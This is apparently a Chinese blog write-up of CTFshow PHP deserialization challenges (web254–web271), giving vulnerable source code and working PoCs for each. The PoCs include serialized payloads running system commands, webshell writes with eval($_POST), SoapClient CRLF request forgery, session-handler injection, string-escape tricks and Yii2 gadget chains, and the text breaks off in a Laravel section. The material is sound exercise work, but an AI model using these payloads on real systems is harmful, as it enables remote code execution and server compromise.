CTFSHOW反序列化 | 风尘孤狼
0%

CTFSHOW反序列化

反序列化刷题

前置

常见魔法函数

__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

web254

image-20220323213133168

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

审计一下发现只需要让username和password等于所给的值即可!

?username=xxxxxx&password=xxxxxx

image-20220323213621159

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

cookie处有反序列化点,传进去将isvip改成true即可

<?php


error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

}

$h = new ctfShowUser();
#echo serialize($h);
echo urlencode(serialize($h));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
//注:cookie这种传参需要先url编码
image-20230729160133306

ctfshow{b5aa6a66-4b5b-429f-a2f3-a7361fb435b1}

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这个和一道题目不同的点就是传进去的username和password的值不能相同

poc如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=true;



}
$h = new ctfShowUser();
echo urlencode(serialize($h));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
image-20230729162007602

ctfshow{59b86e9e-3656-4756-ad73-bdd2b7e3be10}

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

和上题差别在于变量为私有属性了,这个需要在序列化之后的对象和值两边加上%00

poc如下

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code="system('ls');";
    public function getInfo(){
        eval($this->code);    //door
    }
}


$h = new ctfShowUser();
echo serialize($h);
echo urlencode(serialize($h));

//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22system%28%27nl+f%2A%27%29%3B%22%3B%7D%7D
image-20230729163147214

ctfshow{e32175cb-1c54-4539-8e7d-10ad4bf45208}

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

主要是这个过滤的绕过’/[oc]:\d+:/i’

PHP中这个正则的意思是过滤o:数字:和c:数字:

绕过方法是用+绕过,–>o:+

其他思路和上一题目一样,用正则直接加,poc如下

<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}


class backDoor{
    public $code='system("cat f*");';
}


$h = serialize(new ctfShowUser());
$h = str_replace('O:','O:+',$h);

echo urlencode($h);
?>
//O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
image-20230729163748802

ctfshow{e6d2c3b2-a1f8-4377-ab15-f0c954029225}

web259

给了flag.php的源码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
   die('error');
}else{
   $token = $_POST['token'];
   if($token=='ctfshow'){
      file_put_contents('flag.txt',$flag);
   }
}

index.php的源码是

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

要去请求连接,PHP中请求连接的方式如下

用到了PHP中的内置类soapclient,作用和python中的requests相似

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
    'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));


$h = serialize($b);
//echo $h;
$h = str_replace('^^',"\r\n",$h);
$h = str_replace('&','&',$h);
echo urlencode($h);
?>
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A235%3A%22yn8rt%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

这里估计有的人会报错内置类Class ‘SoapClient’ not found ,我是用的phpstduy,就是要找到php.ini里面的extension把这个内置类的注释去掉

image-20230729173807456

传参vip进行反序列化,而反序列化调用了getflag这个方法,但是这个方法不存在,所以就会触发魔法函数_call函数,而内置类SoapClient中也有魔法函数_call函数然后访问flag.txt即可得到flag

image-20230729174126342

ctfshow{0505155f-d1eb-4c29-80ec-7ee892ec1016}

这道题目需要很多前置知识,Y4师傅的博客写的很全,学习完之后再回过头看这道题更容易理解

(28条消息) 从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

就是构造一个序列化里面包含ctfshow_i_love_36D即可

自己写个就行

<?php

class hzy{
    public $hzy='ctfshow_i_love_36D';

}

$h = new hzy();
echo serialize($h);
//O:3:"hzy":1:{s:3:"hzy";s:18:"ctfshow_i_love_36D";}
image-20230729175256185

ctfshow{d858eaa9-6cff-4f04-9955-42bd8770af51}

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){  //绕---serialize之后立马会调用
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);     //door  //当尝试以调用函数的方式调用一个对象时
    }

    public function __sleep(){    //对象serialize之前调用
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);   //door
        }
    }
}

unserialize($_GET['vip']);

前置知识

当一个类中同时有__unserialize和__wakeup这俩魔术方法的时候只会调用unserialize方法,wakeup直接忽略

当传入vip进行反序列化的时候就会调用这个unserialize魔术函数,door命令没办法用,但是destruct函数可以写文件,转变思路,看如何满足

1.code=0x36d

2.code=username+password

在弱比较情况下877和877.php是相等的,所以username写文件,password写内容就行

poc如下

<?php



class ctfshowvip{
    public $username='';
    public $password='';
    public $code='0x36d';


    public function __construct(){
        $this->username='877.php';
        $this->password='<?php eval($_POST[1]);';
    }

}

$h = new ctfshowvip();
echo serialize($h);
//O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:22:"<?php eval($_POST[1]);";s:4:"code";s:5:"0x36d";}
image-20230729184128929

ctfshow{3820ca3e-502e-46ae-aa9f-b553043b35b6}

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

给了提示还有个message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

左思右想,我发现index.php的代码给的有点多余啊,我message.php就存在可控点,抱着试试的心理我就写poc了

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';

}
$h = new message();
echo base64_encode(serialize($h));
//Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

然后就出了

image-20230729185227899

的确,查了其他师傅写的WP发现这是非预期了,我的方法就是直接传序列化token为admin成立,然后他就会输出flag

预期解应该是反序列化字符串逃逸,从index.php下手

<?php
error_reporting(0);
class message{
    public $from ;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;

    }
}
$h = new message(1,1,1);
echo serialize($h);
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}

将这个poc传进去之后访问message.php会发现有cookie,base解码一下是这个结果

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:84:"O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

仔细看一下源码里面,有个正则替换,利用这个正则替换可以造成字符逃逸

<?php
error_reporting(0);
class message{
    public $from ;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;

    }
}
$h = new message(1,1,fuck);
$h1 = new message(1,1,fuck);
echo serialize($h);
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}
echo "\n";
echo str_replace('fuck', 'loveU', serialize($h1));
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}

O:7:“message”:4:{s:4:“from”;i:1;s:3:“msg”;i:1;s:2:“to”;s:4:“fuck”;s:5:“token”;s:5:“admin”;}

O:7:“message”:4:{s:4:“from”;i:1;s:3:“msg”;i:1;s:2:“to”;s:4:“loveU”;s:5:“token”;s:5:“admin”;}

会发现虽然fuck的确替换成loveU了,但是序列化的长度还是4,所以在反序列化的时候他就只会截取to参数的前四个字符,最后一个字符就逃逸了,所以每当有一个fuck就会逃逸出来一个字符

目的是让序列化的token为admin,那么我们就是要逃逸长度内容为";s:5:“token”;s:5:“admin”;}的字符,让其成功闭合,将后面逃逸的字符舍弃掉,如下图这个时候admin后面那个回括号就逃逸了,所以逃逸31个字符

image-20230731180343432
";s:5:"token";s:5:"admin";}是需要逃逸出来的内容,27位,所以需要27个fuck进行逃逸

poc如下

<?php
error_reporting(0);
class message{
    public $from ;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;

    }
}
$h = new message(1,1,'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($h);
//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";i:1;s:5:"token";s:5:"admin";}

echo "\n";

//O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}

传入fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:“token”;s:5:“admin”;}";s:5:“token”;s:5:“admin”;}访问message.php即可得到flag

传进去的内容是下面这个

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:162:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

因为逃逸了27个字符,所以后面的;s:5:“token”;s:5:“admin”;}";s:5:“token”;s:4:“user”;}直接被忽略了,因为}直接把前面的闭合了

image-20230731181202787

ctfshow{06e43cd4-540b-4946-a8e1-34ac93d9a741}

web263

题目进来是一个登录框

image-20230731181627504

扫目录发现源码泄露www.zip

一眼顶针,session反序列化

image-20230731181948874

还防SQL注入了

image-20230731182153906

调用session_start时,PHP内置处理器会对session进行反序列化和序列化操作

常见的对数据进行序列化和反序列化的处理器

1.php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
2.php 键名+竖线(|)+经过serialize()函数处理过的值
3.php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

三种情况生成的session格式如下

php_binary

image-20230731211312370

php

image-20230731210943420

php_serialize

image-20230731211354266

想看题目用了哪个处理器就查找ini_set的session.serialize_handler的参数,显然这道题目用的是php,如果找不到的话php版本低于5.5.4就是默认php处理器,高于5.5.4就是php_serialize 【一般情况下是这样嗷,我的是7.4.3,但是默认的处理器居然是php】

image-20230731182718038

但是会发现index.php中并没指定哪一个处理器,而php版本又是7+,也就是说明index.php的处理器用的是php_serialize ,和inc.php用的处理器是不一样的,也就是这种差异导致了session反序列化漏洞

image-20230731183048295

同时inc.php中username和password这俩参数是可控的

image-20230731183259452

同时仔细观察会发现index.php的limit拼错了,这就导致这个限制是没用的,入口也就找到了,就是cookie的limit参数

image-20230731183411977

既然这样,username文件名,password写内容,存session

这个是用php处理器得到的结果

<?php
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
/*    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }*/
}

$h = new User('1.php','<?php eval($_POST[1]);?>');
$_SESSION['u'] = $h;
u|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}

用php_serialize处理器得到的结果如下

<?php
session_start();
ini_set("session.serialize.handle","php_serialize");
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
/*    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }*/
}

$h = new User('1.php','<?php eval($_POST[1]);?>');
$_SESSION['u'] = $h;
a:1:{s:1:"u";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}}

对比一下区别,对于inc.php,传进去的|前面的会被当作键值,后面的进行反序列化,所以总而言之就是在序列化之前加一个|,然后base编码即可,poc如下

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
/*    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }*/
}

$h = new User('2.php','<?php eval($_POST[1]);phpinfo();?>');
/*$_SESSION['u'] = $h;*/

$poc = base64_encode('|'.serialize($h));
echo $poc;
//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIyLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

cookie传参之后刷新一下,然后登录触发check.php即可写入文件

image-20230731215708628 image-20230731215828469

ctfshow{e1d8b50b-1fe8-49ac-9ab8-dabdefb99f3a}

web264

262的plus版本,考察的还是字符串逃逸,同解

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

给token随便赋值,然后password指向token的地址,这样不论token如何改变,password都能跟着变,也就是会一直保持相等,poc如下

&在PHP中就是引用指向地址的意思,指针

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->token='a';
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$h = new ctfshowAdmin();
echo serialize($h);
//O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

image-20230731221737122

web266

<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这道题目的就是执行析构函数,但是如何去触发,当序列化的字符串有ctfshow就会抛出异常,这个时候就用大小写绕过即可

在PHP中区分大小写的是变量名,数组索引以及常量名

不区分大小写的是函数名,方法名,类名,魔法常量,FALSE,TRUE,NULL

还有一个点就是在源码里貌似没看出来传参点,其实不然,仔细观察,cs变量已经赋值了php://input,所以这个时候只需要将exp传报文内容即可

image-20230731223426835

ctfshow{7d5926a1-cc69-4f3b-ba6d-077c1403c2bd}

web267

image-20230731223751117

弱口令admin/admin直接登录,发现是Yii框架

image-20230731223729920

源码有提示

image-20230731223900028

尝试删除拼接,看到了反序列化入口

image-20230731224045300

直接在网上找个链子打

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';            //命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtzOjE6IjEiO31pOjE7czozOiJydW4iO319fX0
image-20230731224754595

system应该是被ban了,用passthru

image-20230731225516167

ctfshow{76df7712-2eae-4822-8c4c-40a27352c483}

web268

换个poc继续打,刷题的先这样写了,还会抽时间跟链子

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'cp /f* flag.txt';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{

    use Faker\Generator;

    class RunProcess
    {
        private $processes = [];
        public function __construct(){
            $this->processes[]=new Generator();
        }
    }
}
namespace{


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}
image-20230731230121810

ctfshow{22a3d235-e0cc-4f70-933f-41b63de6188e}

web269

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //命令执行
    echo(base64_encode(serialize($exp)));
}



//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNToiY3AgL2YqIGZsYWcudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0
image-20230731230342208

ctfshow{698ebcf9-5645-44b8-8a09-073c51c49cd0}

web270

同269

web271

Laravel5.7 反序列化漏洞,还是先照搬poc

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
